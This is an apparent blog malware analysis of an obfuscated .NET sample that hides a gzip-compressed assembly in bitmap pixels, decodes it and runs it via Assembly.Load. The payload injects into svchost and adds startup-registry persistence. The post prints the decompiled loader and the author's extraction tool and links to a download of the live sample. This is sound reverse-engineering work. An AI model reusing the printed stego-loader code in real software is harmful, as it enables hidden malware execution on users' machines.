Stego Malware And DotNet

Greetings and salutations.

Today I’m going to be going over some malware I found in the wild. I found it after doing a search for ‘hack’ on the ‘rapidshare’ section of 4chan. With the name ‘SteamHackCount.exe’, being about 350 kb, and having the Apple icon? Totally legit right???
seemslegit
Opening the program in IDA showed the program was a .net binary.
ida001
While I love IDA to death, I don’t care for its MSIL decompilation. There are several better .NET decompilers out there to choose from such as ILspy, GreyWolf, DotPeek, Redgate Reflector, and DILE. In this particular case, I am going to load the thing into ILspy.

Peering inside, the binary appears to be obfuscated – common for .net malware.
ilspy2
The entire app doesn’t seem all that complicated. It’s a windows app that starts hidden – typical. On window start, the function ‘rHOQZwrVXEKdlaGCCBGqxFV()’ is called. Let’s look closer at the function ‘rHOQZwrVXEKdlaGCCBGqxFV’

public void rHOQZwrVXEKdlaGCCBGqxFV()
{
	ResourceManager resourceManager = new ResourceManager("NRwifYtqHh", Assembly.GetExecutingAssembly());
	Bitmap nvTDNTPbrHOQZwrVXEKdlaGCC = (Bitmap)resourceManager.GetObject("V3Mi6UNB");
	ResourceManager resourceManager2 = new ResourceManager("BIDRVmCEPb", Assembly.GetExecutingAssembly());
	Bitmap nvTDNTPbrHOQZwrVXEKdlaGCC2 = (Bitmap)resourceManager2.GetObject("mwxv1jbj");
	byte[] array = this.OqvJGoCbbDMYzUyXpPpBu(nvTDNTPbrHOQZwrVXEKdlaGCC);
	byte[] rawAssembly = this.OqvJGoCbbDMYzUyXpPpBu(nvTDNTPbrHOQZwrVXEKdlaGCC2);
	Assembly assembly = Assembly.Load(rawAssembly);
	object objectValue = RuntimeHelpers.GetObjectValue(assembly.CreateInstance(this.KdlaGCCBGqxFVvuLBEvUxcaIw("47|123|158|144|147|148|161|93|127|164|145|155|152|146|114|155|144|162|162|")));
	objectValue.GetType().InvokeMember(this.KdlaGCCBGqxFVvuLBEvUxcaIw("75|157|192|185|148|191|"), BindingFlags.InvokeMethod, null, RuntimeHelpers.GetObjectValue(objectValue), new object[]
	{
		array,
		false,
		"Nothing",
		"Nothing"
	});
}

This function appears to be invoking the ResourceManager object which effectively loads a resource file compiled within the binary. Resources are usually cursors, bitmaps, icons and the like.

ResourceManager resourceManager = new ResourceManager("NRwifYtqHh", Assembly.GetExecutingAssembly());
		Bitmap nvTDNTPbrHOQZwrVXEKdlaGCC = (Bitmap)resourceManager.GetObject("V3Mi6UNB");

In this case, the function is loading from the local resource (shown on the top left in ILspy) a bitmap file for use. Further down, we see that the function is passing these same bitmap images to another function ‘OqvJGoCbbDMYzUyXpPpBu’.

public byte[] OqvJGoCbbDMYzUyXpPpBu(Bitmap NvTDNTPbrHOQZwrVXEKdlaGCC)
{
	List<byte> list = new List<byte>();
	int arg_11_0 = 0;
	checked
	{
		int num = NvTDNTPbrHOQZwrVXEKdlaGCC.Width - 1;
		for (int i = arg_11_0; i <= num; i++)
		{
			int arg_1F_0 = 0;
			int num2 = NvTDNTPbrHOQZwrVXEKdlaGCC.Height - 1;
			for (int j = arg_1F_0; j <= num2; j++)
			{
				Color pixel = NvTDNTPbrHOQZwrVXEKdlaGCC.GetPixel(i, j);
				if (pixel != Color.FromArgb(0, 0, 0, 0))
				{
					list.Add(pixel.R);
					list.Add(pixel.G);
					list.Add(pixel.B);
				}
			}
		}
		return this.FTBSEIiWUOfdzVtzvILZv(list.ToArray());
	}
}

Inside this convoluted mess we see the bitmap file is being iterated through, and converted to a byte array. The function returns its result to another function ‘FTBSEIiWUOfdzVtzvILZv’.

This function further processes the byte array of the former bitmap image by performing some gzip decompression.

public byte[] FTBSEIiWUOfdzVtzvILZv(byte[] wGQLoEWqKEtZijhmXQXCPOehkcCQ)
{
	checked
	{
		using (MemoryStream memoryStream = new MemoryStream(wGQLoEWqKEtZijhmXQXCPOehkcCQ))
		{
			using (GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress))
			{
				int num = 0;
				int num2;
				do
				{
					wGQLoEWqKEtZijhmXQXCPOehkcCQ = (byte[])Utils.CopyArray((Array)wGQLoEWqKEtZijhmXQXCPOehkcCQ, new byte[num + 1024 - 1 + 1]);
					num2 = gZipStream.Read(wGQLoEWqKEtZijhmXQXCPOehkcCQ, num, 1024);
					num += num2;
				}
				while (num2 >= 1024);
				wGQLoEWqKEtZijhmXQXCPOehkcCQ = (byte[])Utils.CopyArray((Array)wGQLoEWqKEtZijhmXQXCPOehkcCQ, new byte[num - 1 + 1]);
				gZipStream.Close();
			}
			memoryStream.Close();
		}
		return wGQLoEWqKEtZijhmXQXCPOehkcCQ;
	}
}

After decompressing the byte array, the program then loads the file as an assembly with ‘Assembly assembly = Assembly.Load(rawAssembly);’.
The last few lines of code are responsible for initializing the methods of choice within the loaded assembly. Think of an assembly as just another word for program.

object objectValue = RuntimeHelpers.GetObjectValue(assembly.CreateInstance(this.KdlaGCCBGqxFVvuLBEvUxcaIw("47|123|158|144|147|148|161|93|127|164|145|155|152|146|114|155|144|162|162|")));
	objectValue.GetType().InvokeMember(this.KdlaGCCBGqxFVvuLBEvUxcaIw("75|157|192|185|148|191|"), BindingFlags.InvokeMethod, null, RuntimeHelpers.GetObjectValue(objectValue), new object[]
	{
		array,
		false,
		"Nothing",
		"Nothing"
	});

This brings us to our last obfuscated function – ‘KdlaGCCBGqxFVvuLBEvUxcaIw’. Let’s have a look see:

public string KdlaGCCBGqxFVvuLBEvUxcaIw(string RIxMWFFrsTcoRkPnGSGDw)
{
	string text = null;
	string[] array = RIxMWFFrsTcoRkPnGSGDw.Split(new char[]
	{
		'|'
	});
	string[] array2 = array;
	checked
	{
		for (int i = 0; i < array2.Length; i++)
		{
			string value = array2[i];
			try
			{
				text += Conversions.ToString(Strings.Chr((int)Math.Round(unchecked(Conversions.ToDouble(value) - Conversions.ToDouble(array[0])))));
			}
			catch (Exception arg_4F_0)
			{
				ProjectData.SetProjectError(arg_4F_0);
				ProjectData.ClearProjectError();
			}
		}
		return text.Remove(0, 1);
	}
}

The function takes a pipe delimited string of numbers and returns a string. If you’re curious what the 2 pipe delimited strings say from this.KdlaGCCBGqxFVvuLBEvUxcaIw(“47|123|158|144|147|148|161|93|127|164|145|155|152|146|114|155|144|162|162|”) and this.KdlaGCCBGqxFVvuLBEvUxcaIw(“75|157|192|185|148|191|”), they decode to ‘RunIt’, and ‘Loader.PublicClass’.
Lastly the function takes invokes the member of the decoded method.

That’s a lot to take in and I hope you’re still with me. What we’re going to do now is write a little decryption application using the code from ILspy. I saved the 2 resource files directly and drahg / drop imported them into visual studio. I have changed the function names slightly for easier readability:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Resources;
using Microsoft.VisualBasic.CompilerServices;
using System.Drawing;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Runtime.CompilerServices;


namespace Decrypt_me
{
    class Program
    {
        static void Main(string[] args)
        {
            Decrypt_me.Program p = new Program();
            p.maininit();
            Console.ReadKey();
        }
        public static string decr(string whatever)
        {
            string text = null;
            string[] array = whatever.Split(new char[]
	{
		'|'
	});
            string[] array2 = array;
            checked
            {
                for (int i = 0; i < array2.Length; i++)
                {
                    string value = array2[i];
                    try
                    {
                        text += Conversions.ToString(Microsoft.VisualBasic.Strings.Chr((int)Math.Round(unchecked(Conversions.ToDouble(value) - Conversions.ToDouble(array[0])))));
                    }
                    catch (Exception arg_4F_0)
                    {
                        ProjectData.SetProjectError(arg_4F_0);
                        ProjectData.ClearProjectError();
                    }
                }
                return text.Remove(0, 1);
            }
        }
        public static byte[] haha(Bitmap timetodie)
        {
            List<byte> list = new List<byte>();
            int arg_11_0 = 0;
            checked
            {
                int num = timetodie.Width - 1;
                for (int i = arg_11_0; i <= num; i++)
                {
                    int arg_1F_0 = 0;
                    int num2 = timetodie.Height - 1;
                    for (int j = arg_1F_0; j <= num2; j++)
                    {
                        Color pixel = timetodie.GetPixel(i, j);
                        if (pixel != Color.FromArgb(0, 0, 0, 0))
                        {
                            list.Add(pixel.R);
                            list.Add(pixel.G);
                            list.Add(pixel.B);
                        }
                    }
                }
                return decr1(list.ToArray());
            }
        }
        public static byte[] decr1(byte[] maybe)
        {
            checked
            {
                using (MemoryStream memoryStream = new MemoryStream(maybe))
                {
                    using (GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress))
                    {
                        int num = 0;
                        int num2;
                        do
                        {
                            maybe = (byte[])Utils.CopyArray((Array)maybe, new byte[num + 1024 - 1 + 1]);
                            num2 = gZipStream.Read(maybe, num, 1024);
                            num += num2;
                        }
                        while (num2 >= 1024);
                        maybe = (byte[])Utils.CopyArray((Array)maybe, new byte[num - 1 + 1]);
                        gZipStream.Close();
                    }
                    memoryStream.Close();
                }
                return maybe;
            }
        }
        public void maininit()
        {
            ResourceManager resourceManager = new ResourceManager("Decrypt_me.NRwifYtqHh", Assembly.GetExecutingAssembly());
            Bitmap timetodie = (Bitmap)resourceManager.GetObject("V3Mi6UNB");
            ResourceManager resourceManager2 = new ResourceManager("Decrypt_me.BIDRVmCEPb", Assembly.GetExecutingAssembly());
            Bitmap timetodie2 = (Bitmap)resourceManager2.GetObject("mwxv1jbj");
            byte[] array = haha(timetodie);
            byte[] rawAssembly = haha(timetodie2);
            Assembly assembly = Assembly.Load(rawAssembly);
            
           // object objectValue = RuntimeHelpers.GetObjectValue(assembly.CreateInstance(decr("47|123|158|144|147|148|161|93|127|164|145|155|152|146|114|155|144|162|162|")));
           
            Console.WriteLine("First member name: " + decr("75|157|192|185|148|191|"));
            Console.WriteLine("Second member name: " + decr("47|123|158|144|147|148|161|93|127|164|145|155|152|146|114|155|144|162|162|"));
            File.WriteAllBytes("assemblylisting1.exe", array);
            File.WriteAllBytes("assemblylisting2.exe", rawAssembly);
            Console.WriteLine("Wrote both assemblies.");

            /*objectValue.GetType().InvokeMember(decr("75|157|192|185|148|191|"), BindingFlags.InvokeMethod, null, RuntimeHelpers.GetObjectValue(objectValue), new object[]
	{
		array,
		false,
		"Nothing",
		"Nothing"
	});*/
        }

    }

}

When I ran the code, it wrote the decrypted bytes of the assembly files to ‘assemblylisting1.exe’ and ‘assemblylisting2.exe’ in the current directory.
decrypted

Loading one of the decrypted assembly files into ILspy shows us the true nature of the program. Here we see the 2 decoded strings from the original program – ‘RunIt’ and ‘PublicClass’:
ilspy3
The code is pretty straight forward – inject the program into ‘svchost’ and place the program in the startup registry key.
The actual code behind the ‘inject’ function is pretty interesting, but perhaps we’ll go over it another time. If you’re curious about it, download ILspy and take a peek yourself. You can download both the malware and my decrypter source code here. The password is ‘lolwut’.

The there was another binary present that I did not go over – the first assembly listing. This assembly listing is encrypted / encoded with PElock’s ‘.netshrink’ which I’ll have to go over in detail in a full blog post as there is a lot to cover. Since the file isn’t directly launched, I omitted its presence in this writeup.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.